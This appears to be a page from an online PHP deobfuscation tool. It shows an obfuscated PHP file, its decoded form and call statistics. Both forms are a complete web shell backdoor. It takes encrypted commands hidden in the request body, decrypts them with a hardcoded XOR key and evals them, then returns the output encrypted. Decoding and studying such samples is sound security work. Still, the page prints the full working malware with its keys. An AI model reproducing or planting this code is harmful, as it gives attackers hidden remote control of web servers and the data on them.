Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $d=str_replace('d','','credatddde_fudnctdion'); $p='TdR!9CDS";fu!nction x($t!!,$k!..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="03457ddf";$kh="68548d2d0786";$kf="90b0198b01a1";$p="KZgxahDY6TdR9CDS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$d=str_replace('d','','credatddde_fudnctdion');
$p='TdR!9CDS";fu!nction x($t!!,$k!){$c=strlen($k!)!;$l=!strlen($t);$o!!="";f!o';
$h=';$r!=@b!ase64!_encode(@x(!@gz!compress!($o),$k!))!;print("$p!$kh$!r$kf");}';
$o='$k="!!03457ddf";$kh="!68!548d2d07!86";$kf!="90b!0198b0!1a1";$!p="KZg!x!ahDY6';
$C='{$j!};}}!return $o;}if!! (@preg_match(!"!/$k!h(.+)$kf!/",@file_ge!t_co!nte';
$M='nts("p!hp!://input")!,$m)!==1) {@o!b_sta!rt();@e!val!(@gzunco!mpress(!@x';
$X='r($i=0;$i<$!l!;){f!o!r($j=0;($j<$c&&$i<!$l);!$!j++,$i++)!{$o.=$t{$!i}!^$k';
$c='!(@base!64!_decode(!$m![!1!]),$k)));$!o=@ob_get_!con!tents();@ob_en!d_clean()';
$k=str_replace('!','',$o.$p.$X.$C.$M.$c.$h);
$K=$d('',$k);$K();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 76573349a41429f3c11320a73ddb470a |
Eval Count | 1 |
Decode Time | 118 ms |